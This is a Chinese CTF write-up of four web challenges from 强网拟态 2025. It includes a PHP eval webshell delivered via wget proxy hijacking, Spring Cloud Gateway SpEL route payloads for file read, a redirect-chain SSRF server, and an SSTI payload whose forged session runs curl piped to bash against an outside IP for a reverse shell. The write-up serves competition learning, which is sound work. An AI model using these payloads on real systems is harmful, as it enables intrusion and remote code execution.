强网拟态2025-WEB

前言

还是没强网杯那么难,就随便记录一下吧。

smallcode

环境变量可控,并且最后直接执行wget,考虑到打环境变量劫持http_proxy,思路就是让wgetrc由此访问到我们vps上起的恶意php木马内容,设置Content-Disposition为php后缀的木马文件并让他下载下来,从而实现RCE。

恶意服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flask import Flask, Response

app = Flask(__name__)

@app.route('/')
def index():
content = "<?php @eval($_POST[1]);?>"

response = Response(content)

response.headers['Content-Type'] = 'application/octet-stream'

response.headers['Content-Disposition'] = 'attachment; filename=eddie.php'

return response

if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0', port=21000)

POST方式env传参并发包:

蚁剑上线webshell,根目录发现flag,无权限读。

suid提权发现nl可用:

ezcloud

CVE-2025-41243,Spring Cloud的未授权gateway漏洞。

扫描发现/actuator等信息泄露,env查看发现很多服务都被删了,要么是500服务未找到要么就是404not found,或者401需要令牌,例如:

1
2
3
4
/file: {"code":401,"msg":"令牌不能为空"}
/code: {"msg":"操作成功","code":200,"captchaEnabled":false}
/auth: {"code":401,"msg":"令牌不能为空"}
/schedule: {"code":401,"msg":"令牌不能为空"}

/code对应ruoyi-gen的一些功能,但是很多也被删了,打不了。

对着env里泄露的接口一个个尝试,发现/actuator/gateway/routes可以实现未授权添加路由,甚至执行SPEL表达式,跟CVE-2022-22947很像所以先测了一遍:

不过环境有点玄学,打不通了有时候需要重启后打:

但是直接执行SPEL表达式RCE是不行的。

最后是搜到了CVE-2025-41243 Spring Cloud Gateway SpEL 沙箱从任意属性访问到任意文件下载 - 白帽酱の博客,并且/actuator下的beans均可读,根据已公开payload直接打实现任意文件读取:

1
2
3
4
5
6
7
8
1、通过bean map 禁用安全限制
#{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = 'false'}"

2、覆盖属性替换路由
#{ @resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0]='file:///C:/'}"

3、setter 触发无参静态方法刷新配置
#{ @resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet}"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
{
"id": "hack",
"predicates": [{
"name": "Path",
"args": {
"pattern": "/hackbyme"
}
}],
"filters": [
{
"name": "AddRequestHeader",
"args": {
"name": "aa",
"value": "#{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = 'false'}"
}
},
{
"name": "AddRequestHeader",
"args": {
"name": "bb",
"value": "#{ @resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0]='file:///'}"
}
},
{
"name": "AddRequestHeader",
"args": {
"name": "cc",
"value": "#{ @resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet}"
}
}
],
"uri": "http://example.com/"
}

由于/actuator/env能看到当前os权限是root,所以直接可读根目录下flag:

safesecret

审计源码可知最后目标是打login路由的SSTI,首先需要获取一个SECRET并且同时传参上去,其次是SSTI要绕他的黑名单(ban了"config", "_", "read", "{{")和长度限制(必须小于47)。

发现/_internal/secret路由可以获取SECRET,但是需要request.remote_addr是127.0.0.1。

这里其实多次重定向就能打这个SSRF,满足 walked_steps >= 6 的条件即可,vps起一个flask:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from flask import Flask, Response

app = Flask(__name__)

@app.route('/eddie1')
def redirect_1():
return Response('', headers={'Refresh': '0; url=http://vps:port/eddie2'})

@app.route('/eddie2')
def redirect_2():
return Response('', headers={'Refresh': '0; url=http://vps:port/eddie3'})

@app.route('/eddie3')
def redirect_3():
return Response('', headers={'Refresh': '0; url=http://vps:port/eddie4'})

@app.route('/eddie4')
def redirect_4():
return Response('', headers={'Refresh': '0; url=http://vps:port/eddie5'})

@app.route('/eddie5')
def redirect_5():
return Response('', headers={'Refresh': '0; url=http://vps:port/eddie6'})

@app.route('/eddie6')
def redirect_6():
return Response('', headers={'Refresh': '0; url=http://vps:port/eddie7'})

@app.route('/eddie7')
def redirect_7():
return Response('', headers={'Refresh': '0; url=http://127.0.0.1:5000/_internal/secret'})

if __name__ == '__main__':
app.run(host='0.0.0.0', port=21000)

然后打/fetch路由即可获得SECRET:

1
1140457d-a0b5-4e6d-a423-5a676e61992a

最后要同时绕他的黑名单和长度限制,发现源码里:

并且给出了app.secret_key:

1
app.secret_key = "a_test_secret"

可以尝试伪造session,在cookie处打SSTI的payload来实现RCE。既然可以SSRF,那题目肯定出网,弄个反弹shell的payload:

1
eyJhIjoiX19nbG9iYWxzX18iLCJiIjoiY3VybCBodHRwOi8vOC4xNDAuMjUxLjE1Mjo4MC9iYXNoLmh0bWx8YmFzaCJ9.aPze8w.piuG4MzMco6psO3dWM4l_Dne7Xk

payload为:

1
{%set+c=lipsum[session.a].os.popen(session.b)%}
1
2
3
GET /login?username={%set+c=lipsum[session.a].os.popen(session.b)%}&secret=1140457d-a0b5-4e6d-a423-5a676e61992a HTTP/1.1
Host: web-6a5a61a65b.challenge.xctf.org.cn
Cookie:session=eyJhIjoiX19nbG9iYWxzX18iLCJiIjoiY3VybCBodHRwOi8vOC4xNDAuMjUxLjE1Mjo4MC9iYXNoLmh0bWx8YmFzaCJ9.aPze8w.piuG4MzMco6psO3dWM4l_Dne7Xk

ECShop

版本4.1.19。

0day,打的SQL注入,但是不是网上那个打WeChat参数的CNVD,而是登录位置的报错注入。

学弟赛后复现了,我就不打了hhhh

后记

qwb就不更了,等着线下去看看这俩比赛有啥好玩的再更一下吧。


强网拟态2025-WEB
https://eddiemurphy89.github.io/2025/10/28/强网拟态2025-WEB/
作者
EddieMurphy
发布于
2025年10月28日
许可协议